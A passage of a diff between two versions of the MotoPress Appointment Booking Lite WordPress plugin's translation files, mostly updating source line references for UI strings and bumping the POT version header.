assets\u002Fjs\u002Fpublic.js:7618\n+#: assets\u002Fjs\u002Fdivi-modules.js:7619\n+#: assets\u002Fjs\u002Felementor-widgets.js:7619\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8058\n+#: assets\u002Fjs\u002Fpublic.js:7619\n msgid \"IBAN\"\n msgstr \"IBAN\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7882\n-#: assets\u002Fjs\u002Felementor-widgets.js:7882\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8321\n-#: assets\u002Fjs\u002Fpublic.js:7882\n+#: assets\u002Fjs\u002Fdivi-modules.js:7883\n+#: assets\u002Fjs\u002Felementor-widgets.js:7883\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8322\n+#: assets\u002Fjs\u002Fpublic.js:7883\n msgid \"Payment methods\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8094\n-#: assets\u002Fjs\u002Felementor-widgets.js:8094\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8533\n-#: assets\u002Fjs\u002Fpublic.js:8094\n+#: assets\u002Fjs\u002Fdivi-modules.js:8095\n+#: assets\u002Fjs\u002Felementor-widgets.js:8095\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8534\n+#: assets\u002Fjs\u002Fpublic.js:8095\n msgid \"Card\"\n msgstr \"Carta\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:10130\n-#: assets\u002Fjs\u002Fedit-post.js:7677\n-#: assets\u002Fjs\u002Felementor-widgets.js:10130\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:10569\n-#: assets\u002Fjs\u002Fpublic.js:10130\n+#: assets\u002Fjs\u002Fdivi-modules.js:10131\n+#: assets\u002Fjs\u002Fedit-post.js:7678\n+#: assets\u002Fjs\u002Felementor-widgets.js:10131\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:10570\n+#: assets\u002Fjs\u002Fpublic.js:10131\n msgid \"Sorry, but we were unable to allocate time slots for the date you selected.\"\n msgstr \"Siamo spiacenti, ma non siamo stati in grado di assegnare le fasce orarie per la data selezionata.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:10777\n-#: assets\u002Fjs\u002Felementor-widgets.js:10777\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11216\n-#: assets\u002Fjs\u002Fpublic.js:10777\n+#: assets\u002Fjs\u002Fdivi-modules.js:10778\n+#: assets\u002Fjs\u002Felementor-widgets.js:10778\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11217\n+#: assets\u002Fjs\u002Fpublic.js:10778\n msgid \"Sorry, there are no services, employees or locations to book.\"\n msgstr \"Siamo spiacenti, non ci sono servizi, dipendenti o luoghi da prenotare.\"\n \n #. Translators: %s: Checkbox label.\n-#: assets\u002Fjs\u002Fedit-post.js:9005\n+#: assets\u002Fjs\u002Fedit-post.js:9006\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3220\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2976\n #, js-format\n msgid \"To enable this option, you need to check the '%s' box.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fedit-post.js:9006\n+#: assets\u002Fjs\u002Fedit-post.js:9007\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3238\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2977\n msgid \"To enable booking for the specific service only, select the service below first, then uncheck the 'Service' box here.\"\n@@ -6400,19 +6390,19 @@\n msgid \"Colors\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11400\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11710\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11981\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12284\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12638\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12761\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12884\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13007\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13130\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13253\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13376\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13499\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13622\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11401\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11711\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11982\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12285\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12639\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12762\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12885\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13008\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13131\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13254\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13377\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13500\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13623\n msgid \"appointment\"\n msgstr \"appuntamento\"\n \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Flanguages\u002Fmotopress-appointment.pot \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Flanguages\u002Fmotopress-appointment.pot\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Flanguages\u002Fmotopress-appointment.pot\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Flanguages\u002Fmotopress-appointment.pot\t2026-06-30 15:16:08.000000000 +0000\n@@ -2,14 +2,14 @@\n # This file is distributed under the GPLv2 or later.\n msgid \"\"\n msgstr \"\"\n-\"Project-Id-Version: Appointment Booking Lite 2.4.5\\n\"\n+\"Project-Id-Version: Appointment Booking Lite 2.4.6\\n\"\n \"Report-Msgid-Bugs-To: https:\u002F\u002Fwordpress.org\u002Fsupport\u002Fplugin\u002Fmotopress-appointment-lite\\n\"\n \"Last-Translator: FULL NAME \u003CEMAIL@ADDRESS>\\n\"\n \"Language-Team: LANGUAGE \u003CLL@li.org>\\n\"\n \"MIME-Version: 1.0\\n\"\n \"Content-Type: text\u002Fplain; charset=UTF-8\\n\"\n \"Content-Transfer-Encoding: 8bit\\n\"\n-\"POT-Creation-Date: 2026-06-23T11:11:56+00:00\\n\"\n+\"POT-Creation-Date: 2026-06-30T14:44:01+00:00\\n\"\n \"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\\n\"\n \"X-Generator: WP-CLI 2.12.0\\n\"\n \"X-Domain: motopress-appointment\\n\"\n@@ -171,47 +171,6 @@\n msgid \"Help\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:199\n-msgid \"Settings saved.\"\n-msgstr \"\"\n-\n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:265\n-msgid \"Save Changes\"\n-msgstr \"\"\n-\n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:400\n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:409\n-#: includes\u002Felementor\u002Fwidgets\u002FAppointmentFormWidget.php:71\n-#: includes\u002Felementor\u002Fwidgets\u002FEmployeeAdditionalInfoWidget.php:35\n-#: includes\u002Felementor\u002Fwidgets\u002FEmployeeContactsWidget.php:35\n-#: includes\u002Felementor\u002Fwidgets\u002FEmployeeContentWidget.php:35\n-#: includes\u002Felementor\u002Fwidgets\u002FEmployeeImageWidget.php:35\n-#: includes\u002Felementor\u002Fwidgets\u002FEmployeeScheduleWidget.php:35\n-#: includes\u002Felementor\u002Fwidgets\u002FEmployeeServicesListWidget.php:35\n-#: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:36\n-#: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:36\n-#: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:36\n-#: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:36\n-#: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:35\n-#: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:35\n-#: includes\u002Fmetaboxes\u002Fnotification\u002FNotificationSettingsMetabox.php:26\n-#: templates\u002Fprivate\u002Fpages\u002Fwizard.php:12\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:3245\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11506\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11801\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12087\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12405\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12686\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12809\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12932\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13055\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13178\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13301\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13424\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13547\n-msgid \"Settings\"\n-msgstr \"\"\n-\n #: includes\u002Fadmin-pages\u002Fcustom\u002FUpgradeToPremiumPage.php:16\n #: includes\u002Fadmin-pages\u002Fcustom\u002FUpgradeToPremiumPage.php:25\n #: includes\u002Fadmin-pages\u002Fcustom\u002FUpgradeToPremiumPage.php:94\n@@ -336,27 +295,27 @@\n msgid \"Filtered bookings for customer\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:486\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:494\n msgid \"All Services\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:511\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:519\n msgid \"All Employees\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:536\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:544\n msgid \"All Locations\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:573\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:581\n msgid \"Export\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:574\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:582\n msgid \"Cancel Export\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:589\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:597\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManagePaymentsPage.php:71\n #: includes\u002Fcrons\u002FExportBookingsCron.php:347\n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeAdditionalInfoModule.php:27\n@@ -375,18 +334,18 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeServicesListWidget.php:43\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:44\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:44\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12689\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12812\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12935\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13058\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13181\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13304\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13427\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13550\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12690\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12813\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12936\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13059\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13182\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13305\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13428\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13551\n msgid \"ID\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:590\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:598\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageEmployeesPage.php:149\n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:97\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:113\n@@ -396,11 +355,11 @@\n #: includes\u002Fpost-types\u002FServicePostType.php:117\n #: assets\u002Fjs\u002Fanalytics-page.js:33399\n #: assets\u002Fjs\u002Fcalendar-page.js:45376\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12464\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12465\n msgid \"Services\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:590\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:598\n #: includes\u002Fcrons\u002FExportBookingsCron.php:354\n #: includes\u002Fdivi\u002Fmodules\u002FAppointmentFormModule.php:64\n #: includes\u002Fdivi\u002Fmodules\u002FAppointmentFormModule.php:126\n@@ -420,14 +379,14 @@\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:33\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-service-form.php:102\n #: assets\u002Fjs\u002Fcalendar-page.js:38165\n-#: assets\u002Fjs\u002Fedit-post.js:9005\n+#: assets\u002Fjs\u002Fedit-post.js:9006\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3256\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3303\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2976\n msgid \"Service\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:591\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:599\n #: includes\u002Fcrons\u002FExportBookingsCron.php:357\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:37\n #: templates\u002Fshortcodes\u002Ftemplate-parts\u002Fbooking-details.php:99\n@@ -436,13 +395,13 @@\n msgid \"Date\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:592\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:600\n #: includes\u002Fcrons\u002FExportBookingsCron.php:358\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:38\n msgid \"Time\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:593\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:601\n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:87\n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:103\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:104\n@@ -455,12 +414,12 @@\n #: includes\u002Fpost-types\u002FEmployeePostType.php:52\n #: assets\u002Fjs\u002Fanalytics-page.js:33437\n #: assets\u002Fjs\u002Fcalendar-page.js:45414\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11557\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12473\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11558\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12474\n msgid \"Employees\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:593\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:601\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageNotificationsPage.php:210\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageSchedulesPage.php:134\n #: includes\u002Fdivi\u002Fmodules\u002FAppointmentFormModule.php:140\n@@ -490,7 +449,7 @@\n msgid \"Employee\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:594\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:602\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageServicesPage.php:23\n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:159\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:193\n@@ -502,11 +461,11 @@\n #: templates\u002Fservice\u002Fprice.php:19\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:36\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-cart.php:64\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12559\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12560\n msgid \"Price\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:595\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:603\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageNotificationsPage.php:156\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManagePaymentsPage.php:72\n #: includes\u002Ffields\u002Fcomplex\u002FLicenseSettingsField.php:79\n@@ -516,7 +475,7 @@\n msgid \"Status\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:596\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:604\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageNotificationsPage.php:214\n #: includes\u002Flist-tables\u002Femails\u002FCustomerEmailsListTable.php:32\n #: includes\u002Fmetaboxes\u002Fnotification\u002FNotificationSettingsMetabox.php:86\n@@ -526,7 +485,7 @@\n msgstr \"\"\n \n #. Translators: %s: Paid amount.\n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:695\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:703\n #, php-format\n msgid \"Paid: %s\"\n msgstr \"\"\n@@ -572,10 +531,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:202\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:67\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:62\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11634\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11905\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12214\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12562\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11635\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11906\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12215\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12563\n msgid \"Order\"\n msgstr \"\"\n \n@@ -944,7 +903,7 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FAppointmentFormLabelsMetabox.php:68\n #: includes\u002Fshortcodes\u002FAppointmentFormShortcode.php:94\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:191\n-#: assets\u002Fjs\u002Fedit-post.js:9055\n+#: assets\u002Fjs\u002Fedit-post.js:9056\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3333\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:3069\n msgid \"— Select —\"\n@@ -1331,7 +1290,7 @@\n #: includes\u002Fshortcodes\u002FAppointmentFormShortcode.php:32\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:32\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:139\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11358\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11359\n msgid \"Appointment Form\"\n msgstr \"\"\n \n@@ -1579,7 +1538,7 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FAppointmentFormLabelsMetabox.php:76\n #: includes\u002Fshortcodes\u002FAppointmentFormShortcode.php:100\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:198\n-#: assets\u002Fjs\u002Fedit-post.js:9057\n+#: assets\u002Fjs\u002Fedit-post.js:9058\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3202\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3204\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3205\n@@ -1593,7 +1552,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:146\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:79\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:91\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12492\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12493\n msgid \"Comma-separated slugs or IDs of tags that will be shown.\"\n msgstr \"\"\n \n@@ -1670,7 +1629,7 @@\n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeAdditionalInfoModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeAdditionalInfoWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeAdditionalInfoShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13604\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13605\n msgid \"Employee Additional Information\"\n msgstr \"\"\n \n@@ -1691,49 +1650,49 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:47\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:47\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FAbstractSingleEmployeeShortcode.php:25\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12690\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12813\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12936\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13059\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13182\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13305\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13428\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13551\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12691\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12814\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12937\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13060\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13183\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13306\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13429\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13552\n msgid \"Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeContactsModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeContactsWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeContactsShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13358\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13359\n msgid \"Employee Contact Information\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeContentModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeContentWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeContentShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13235\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13236\n msgid \"Employee Content\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeImageModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeImageWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeImageShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12743\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12744\n msgid \"Employee Image\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeScheduleModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeScheduleWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeScheduleShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13112\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13113\n msgid \"Employee Schedule\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeServicesListModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeServicesListWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeServicesListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12989\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12990\n msgid \"Employee Services List\"\n msgstr \"\"\n \n@@ -1741,7 +1700,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:25\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:29\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11692\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11693\n msgid \"Employees List\"\n msgstr \"\"\n \n@@ -1757,10 +1716,10 @@\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:41\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:43\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:41\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11509\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11804\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12090\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12408\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11510\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11805\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12091\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12409\n msgid \"Show featured image.\"\n msgstr \"\"\n \n@@ -1773,9 +1732,9 @@\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:46\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:46\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:46\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11517\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11812\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12416\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11518\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11813\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12417\n msgid \"Show post title.\"\n msgstr \"\"\n \n@@ -1788,30 +1747,30 @@\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:51\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:51\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:51\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11525\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11820\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12424\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11526\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11821\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12425\n msgid \"Show post excerpt.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:57\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:74\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:56\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11533\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11534\n msgid \"Show contact information.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:67\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:84\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:61\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11541\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11542\n msgid \"Show social networks.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:77\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:94\n #: 